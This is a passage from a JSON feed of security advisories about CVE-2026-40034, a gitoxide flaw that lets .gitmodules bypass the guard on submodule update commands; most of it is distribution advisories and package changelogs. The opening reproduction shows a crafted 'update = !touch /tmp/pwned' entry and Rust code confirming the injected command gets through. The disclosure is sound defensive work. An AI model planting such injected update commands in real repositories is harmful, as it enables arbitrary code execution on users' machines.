/tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n        path = sub\n        url = /tmp/sub-origin\n        update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n        active = true\n        url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for 'submodule.sub.update'\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n    println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n…will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence","status":"published","published":"2026-05-05T19:23:45Z","modified":"2026-09-10T03:51:05.286549483Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-183","CWE-349","CWE-501","CWE-77"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"GHSA-m4f9-c775-wg56","title":"Duplicate Advisory: gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f26g-jm89-4g65. This link is maintained to preserve external references.\n\n### Original Description\ngix-submodule before 0.82.0 incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"withdrawn","published":"2026-05-26T15:32:10Z","modified":"2026-06-30T17:45:20.721566115Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:51.463834Z"},{"id":"UBUNTU-CVE-2026-40034","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"published","published":"2026-05-26T15:16:00Z","modified":"2026-10-17T13:00:03.868804328Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:16.686388Z"},{"id":"AZL-89292","title":"CVE-2026-40034 affecting package rust for versions less than 1.75.0-30","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"published","published":"2026-05-26T15:16:35Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:25.436971Z"},{"id":"AZL-89295","title":"CVE-2026-40034 affecting package rust for versions less than 1.90.0-9","description":"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.","status":"published","published":"2026-05-26T15:16:35Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:25.436971Z"},{"id":"openSUSE-SU-2026:11038-1","title":"stgit-2.6.0-1.1 on GA media","description":"These are all security issues fixed in the stgit-2.6.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-15T00:00:00Z","modified":"2026-06-16T10:30:08.322510766Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:11474-1","title":"gitoxide-0.56.0-1.1 on GA media","description":"These are all security issues fixed in the gitoxide-0.56.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-09T00:00:00Z","modified":"2026-08-10T08:15:09.376532122Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:12338-1","title":"watchexec-2.8.0-1.1 on GA media","description":"These are all security issues fixed in the watchexec-2.8.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-28T00:00:00Z","modified":"2026-10-29T12:15:06.952894829Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:21185-1","title":"Security update for stgit","description":"This update for stgit fixes the following issues:\n\nChanges in stgit:\n\n- Update to version 2.6.0:\n  * chore: update changelog for 2.6.0\n  * fix(import): respect --name verbatim, ignoring stgit.namelength\n  * test(refresh): use test_when_finished for status.renames cleanup\n  * expect over unwrap for test\n  * bugfix: issue #615, add Copied variant to Status enum and move panic to a copied status, add integration test\n  * docs: Update copyright year\n  * chore: update gix to 0.83 (CVE-2026-40034, bsc#1266429)\n  * chore: update compatible transitive dependencies\n  * chore: update winnow to 1.0.3\n  * chore: update jiff to 0.2.24\n  * ci: drop dead CARGO_TARGET_*_STRIP env vars from package build\n  * ci: soft-pin cargo-deb to ^3.0\n  * ci: bump cargo-generate-rpm pin to ^0.20.0\n  * ci: bump GitHub Actions to Node 24 runtimes\n  * chore: update winnow to 1.0.1\n  * chore: update clap to 4.6.1\n  * chore: update gix to 0.81\n  * chore: bump MSRV to 1.85\n  * chore: update transitive deps\n  * chore: update winnow to 0.7.15\n  * chore: update thiserror to 2.0.18\n  * chore: update tempfile to 3.27.0\n  * chore: update tar to 0.4.45\n  * chore: update serde_json to 1.0.149\n  * chore: update jiff to 0.2.23\n  * chore: update indexmap to 2.14.0\n  * chore: update flate2 to 1.1.9\n  * chore: update ctrlc to 3.5.2\n  * chore: update clap to 4.5.61\n  * chore: update anyhow to 1.0.102\n  * chore: update anstyle to 1.0.14\n\n- Update to version 2.5.5:\n  * fix(squash): keep author when squashed commits have same author\n\n- Update to version 2.5.4:\n  * chore: update changelog for 2.5.4\n  * chore: update transitive dependencies\n  * chore: update clap to 4.5.43\n  * refactor: clippy fixes\n  * fix: gix 0.73 breaking changes\n  * chore: update gix to 0.73\n  * chore: update transitive dependencies\n  * chore: update serde_json to 1.0.142\n  * chore: update winnow to 0.7.12\n  * chore: update clap to 4.5.42\n  * refactor: clippy lints\n  * stgit.el: Use `with-eval-after-load' instead of a homemade version\n  * stgit.el: Use `advice-add' instead of `defadvice'\n  * stgit.el: Fix various checkdoc warnings\n  * stgit.el: Support Emacs versions \u003c 31\n  * feat(bash): complete patches from chosen branch\n  * chore: update dependencies\n  * refactor: repair clippy lints\n  * chore: update clap to 4.5.40\n  * chore: update anstyle to 1.0.11\n  * chore: update winnow to 0.7.11\n  * chore: update anyhow to 1.0.98\n  * chore: update jiff to 0.2.15\n  * chore: update tempfile to 3.20.0\n  * chore: update curl to 0.4.48\n  * chore: update flate2 to 1.1.2\n  * chore: update ctrlc to 3.4.7\n  * chore(deps): bump winnow from 0.7.6 to 0.7.10\n  * chore(deps): bump clap from 4.5.36 to 4.5.39\n  * docs: Update copyright year\n  * chore: update transitive dependencies\n  * chore: update tempfile to 3.19.1\n  * chore: update jiff to 0.2.6\n  * chore: update winnow to 0.7.6\n  * chore: update gix to 0.71\n  * chore: update indexmap to 2.9.0\n  * chore: update is-terminal to 0.4.16\n  * chore: update ctrlc to 3.4.6\n  * chore: update bstr to 1.12.0\n  * chore: update clap to 4.5.36\n  * chore: update flate2 to 1.1.1\n  * chore: update serde to 1.0.219\n  * chore: update serde_json to 1.0.140\n  * chore: update thiserror to 2.0.12\n  * chore: update anyhow to 1.0.97\n  * refactor: repair clippy lint\n  * stgit.el: Move 'stgit-patch-status-face-alist' before first use\n  * stgit.el: Silence warnings of missing vc variables\n  * stgit.el: Replace ad-hoc `make-local-variable' with `defvar-local'\n  * stgit.el: Use defvar-local instead of make-local-variable\n  * stgit.el: Enable lexical-binding\n  * stgit.el: Allow empty descriptions\n  * stgit.el: Add \"--no-color\" flag to 'git log' and 'git show'\n  * stgit.el: Pass patch into `stgit-process-files'\n  * chore: update changelog for 2.5.3\n  * chore: update dependencies\n  * refactor(stgit.el): use space-based indentation consistently\n  * refactor: repair clippy lint\n  * chore(deps): bump tempfile from 3.16.0 to 3.17.0\n  * chore(deps): bump jiff from 0.2.0 to 0.2.1\n  * build: statically linked packages for riscv64\n  * chore: update changelog for 2.5.2\n  * chore: update jiff to 0.2.0\n  * chore: update winnow to 0.7.2\n  * fix: partial_ref_name\n  * chore: resolve winnow deprecations\n  * chore: update dependencies\n  * ci: disable test for windows build\n  * chore(deps): bump jiff from 0.1.24 to 0.1.29\n  * chore(deps): bump serde_json from 1.0.135 to 1.0.138\n  * chore(deps): bump is-terminal from 0.4.13 to 0.4.15\n  * chore(deps): bump indexmap from 2.7.0 to 2.7.1\n  * chore(deps): bump clap from 4.5.26 to 4.5.28\n  * stgit.el: Fix various compile warnings\n  * stgit.el: Replace depercated cl function calls with new style\n  * stgit.el: Fix some checkdoc warnings\n  * stgit.el: Fix emacs pre-pending \"Summary: \" to log-edit buffers\n  * chore: update changelog for 2.5.1\n  * chore: update release checklist\n  * ci: use ubuntu-24.04 image\n  * fix: assure branch creation respects fetch-specs of remotes. (#522)\n  * chore: update to latest `gix` for improved API (#522)\n  * chore: update transitive deps\n  * chore: update anstyle-wincon to 3.0.7\n  * chore: update bitflags to 2.8.0\n  * chore: update jiff to 0.1.24\n  * chore: update transitive deps\n  * chore: update syn to 2.0.96\n  * chore: update bitflags to 2.7.0\n  * chore: update clap to 4.5.26\n  * chore: update serde_json to 1.0.135\n  * chore: update thiserror to 2.0.11\n  * chore: update winnow to 0.6.24\n  * refactor: repair clippy lints for is_some_and\n  * test: repair regression with git v2.48\n  * chore(deps): bump jiff from 0.1.18 to 0.1.21\n  * chore(deps): bump bstr from 1.11.1 to 1.11.3\n  * chore(deps): bump tempfile from 3.14.0 to 3.15.0\n  * chore: update changelog for 2.5.0\n  * chore: update transitive deps\n  * chore: update windows-sys to 0.59.0\n  * chore: update serde to 1.0.217\n  * chore: update winnow to 0.6.21\n  * chore: update jiff to 0.1.18\n  * docs: explain stgit.autosign a bit better\n  * feat: new \"name\" subcommand\n  * feat: organize subcommands by group in help\n  * chore: fix warning\n  * feat: support calling stg rebase without arguments\n  * tests: add test for rebase without arguments\n  * chore: update dependencies\n  * chore: update serde_json to 1.0.134\n  * chore: update thiserror to 2.0.9\n  * chore: update anyhow to 1.0.95\n  * chore: update gix to 0.69\n  * chore: update changelog for 2.4.13\n  * chore: update transitive deps\n  * chore: update jiff to 0.1.15\n  * chore: update gix to 0.68\n  * chore: update flate2 to 1.0.35\n  * chore: update serde to 1.0.216\n  * chore: update thiserror to 2.0.7\n  * chore: update indexmap to 2.7.0\n  * chore: update clap to 4.5.23\n  * chore: update bstr to 1.11.1\n  * chore: update anyhow to 1.0.94\n  * refactor: repair clippy lints\n  * chore: update thiserror to 2.0.3\n  * chore: update allocator-api2 to 0.2.19\n  * chore: update url to 2.5.3\n  * chore: update cc to 1.1.37\n  * chore: update anstream to 0.6.18\n  * chore: update fastrand to 2.2.0\n  * chore: update libc to 0.2.162\n  * chore: update curl-sys to 0.4.78+curl-8.11.0\n  * chore: update tempfile to 3.14.0\n  * chore: update anyhow to 1.0.93\n  * chore: update gix to 0.67.0\n  * chore: update autocfg to 1.4.0\n  * chore: update unicode-bidi to 0.3.17\n  * chore: update unicode-ident to 1.0.13\n  * chore: update redox_syscall to 0.5.7\n  * chore: update colorchoice to 1.0.3\n  * chore: update anstyle-query to 1.1.2\n  * chore: update anstyle-parse to 0.2.6\n  * chore: update proc-macro2 to 1.0.89\n  * chore: update unicode-normalization to 0.1.24\n  * chore: update gix-quote to 0.4.13\n  * chore: update gix-bitmap to 0.2.12\n  * chore: update gix-config-value to 0.14.9\n  * chore: update memmap2 to 0.9.5\n  * chore: update gix-chunk to 0.4.9\n  * chore: update pkg-config to 0.3.31\n  * chore: update cc to 1.1.34\n  * chore: update anstream to 0.6.17\n  * chore: update rustix to 0.38.38\n  * chore: update once_cell to 1.20.2\n  * chore: update gix-validate to 0.9.1\n  * chore: update gix-utils to 0.1.13\n  * chore: update gix-sec to 0.10.9\n  * chore: update gix-date to 0.9.1\n  * chore: update gix-command to 0.3.10\n  * chore: update schannel to 0.1.26\n  * chore: update openssl-sys to 0.9.104\n  * chore: update libc to 0.2.161\n  * chore: update regex-automata to 0.4.8\n  * chore: update winnow to 0.6.20\n  * chore: update thiserror to 1.0.67\n  * chore: update tempfile to 3.13.0\n  * chore: update tar to 0.4.43\n  * chore: update serde_json to 1.0.132\n  * chore: update serde to 1.0.214\n  * chore: update jiff to 0.1.14\n  * chore: update indexmap to 2.6.0\n  * chore: update flate2 to 1.0.34\n  * chore: update encoding_rs to 0.8.35\n  * chore: update curl to 0.4.47\n  * chore: update clap to 4.5.20\n  * chore: update anyhow to 1.0.92\n  * chore: update anstyle to 1.0.10\n\n- Update to 2.5.4\n  * stgit.el: Use with-eval-after-load instead of a homemade version\n  * stgit.el: Use advice-add instead of defadvice\n  * stgit.el: Fix various checkdoc warnings\n  * stgit.el: Support Emacs versions \u003c 31\n  * stgit.el: Move 'stgit-patch-status-face-alist' before first use\n  * stgit.el: Silence warnings of missing vc variables\n  * stgit.el: Replace ad-hoc make-local-variable with defvar-local\n  * stgit.el: Use defvar-local instead of make-local-variable\n  * stgit.el: Enable lexical-binding\n  * stgit.el: Allow empty descriptions\n  * stgit.el: Add \"--no-color\" flag to 'git log' and 'git show'\n  * stgit.el: Pass patch into stgit-process-files\n  * chore: update gix to 0.73\n  * docs: Update copyright year\n  * feat(bash): complete patches from chosen branch\n\n- Update to 2.5.3\n  * build: statically linked packages for riscv64\n  * chore: update dependencies\n  * refactor(stgit.el): use space-based indentation consistently\n\n- Update to 2.5.2 2025-02-16\n  * fix(stgit.el): various compile warnings\n  * fix(stgit.el): Replace depercated cl function calls with new style\n  * fix(stgit.el): checkdoc warnings\n  * fix(stgit.el): emacs pre-pending \"Summary: \" to log-edit buffers\n  * chore: update jiff to 0.2.0\n  * chore: update winnow to 0.7.2\n  * chore: resolve winnow deprecations\n  * chore: update dependencies\n\n- Update to 2.5.1 2025-01-18\n  * fix: assure branch creation respects fetch-specs of remotes (#522)\n  * ci: ubuntu-24.04 is now used to build release binaries\n  * chore: gix is updated to 0.70\n\n- Update to 2.5.0 2025-01-01\n  * feat: new \"name\" subcommand\n  * feat: support calling stg rebase without arguments\n  * docs: explain stgit.autosign a bit better\n  * feat: organize subcommands by group in help\n\n- Update to 2.4.13\n  * fix(squash): preserve consensus author\n  * chore: update gix to 0.68\n","status":"published","published":"2026-06-30T15:11:42Z","modified":"2026-07-02T18:24:19.483347694Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"openSUSE-SU-2026:21558-1","title":"Security update for gitoxide","description":"This update for gitoxide fixes the following issues:\n\nChanges in gitoxide:\n\n- Update to 0.56.0:\n  * Fixes CVE-2026-40034 (boo#1266434): the CommandForbiddenInModules\n    trust check could be bypassed in gix_submodule::File::update(),\n    which allowed arbitrary command execution from a crafted\n    .gitmodules file\n  * Fixes a submodule name validation bypass that allowed traversal\n    out of .git/modules and disclosure of credentials\n  * Fixes symlinked .gitmodules files being followed and parsed from\n    outside the repository\n  * Fixes several denial-of-service vectors in gix-pack: unchecked\n    indexing panics and uncapped allocations from crafted pack data\n  * Fixes HTTP credentials being leaked to the redirected host by the\n    curl transport backend\n  * Add the gix config show, gix config list, gix config fmt,\n    gix free remote refs, gix free trust, gix dirwalk and gix tix\n    subcommands\n  * Add a gix status --untracked flag and gix merge tree --message\n    for creating commits\n  * gix exclude query is now index-aware and no longer reports ignore\n    matches for tracked files, matching git check-ignore\n  * Preserve all configured remote URLs rather than only the last one\n  * Fix fetching and cloning with tag refspecs in shallow clones,\n    relative worktree linking files and loose ref path-prefix\n    collisions\n  * Update the crates to the Rust 2024 edition\n- Refresh the vendored dependencies. Recording the state of the\n  remaining open CVE bugs against this version, none of which it is\n  affected by:\n  * CVE-2026-25541 (boo#1274525): the vendored bytes is now 1.12.1,\n    above the 1.11.1 fix\n  * CVE-2025-22620 (boo#1236139): gix-worktree-state is 0.33.0, far\n    above the 0.17.0 that fixed the world-writable checkout of\n    executable files\n\n- update to 0.50.0:\n  see https://github.com/GitoxideLabs/gitoxide/compare/v0.42.0...v0.50.0\n\n- update to 0.42.0:\n  * add first 'debug' version of gix diff file\n  * use revspecs for revision and path\n  * CVE-2025-31130: use collision-detecting SHA-1 hash boo#1240872\n\n- Update to version 0.41.0:\n  * add gix blame -L start,end\n  * add gix env to print paths relevant to the Git installation.\n  * Document the remaining subcommands\n  * Add support for statistics and additional performance\n    information.\n  * add gix blame to the CLI. That way it's possible to see the\n    blame result of any file in the repository.\n\n- Updates from version 0.40.0:\n  * add first 'debug' version of gix log. It's primarily meant to\n    better understand gix blame.\n  * add --tree-favor to gix merge tree|commit. With it one can\n    decide which side to favor in case of irreconcilable\n    tree-conflicts.\n  * CVE-2025-22620: gix-worktree-state specifies 0777 permissions\n    when checking out executable files (boo#1236139)\n\n- Update to version 0.39.0:\n  New Features\n  * add gix merge commit --debug\n  * add gix merge commits\n  * add gix merge tree to merge trees similarly to git merge-tree.\n\n- Update to version 0.38.0:\n  New Features\n  * support for listing worktrees with gix worktree list\n  * add first 'debug' version of gix diff tree.\n  * add new gix cat command.\n  * add gix merge-file with similar features as git merge-file\n  * gix merge-base for the CLI\n  Bug Fixes\n  * Adjust gix clean warning and help for worktree fix\n  * Clarify -r/--repositories and --skip-hidden-repositories\n  Other\n  * switch from time to jiff\n  * Unify style in config support info\n","status":"published","published":"2026-08-10T13:10:07Z","modified":"2026-08-12T18:23:42.677607455Z","updated_at":"2026-11-02T16:58:41.885092Z"}]}}
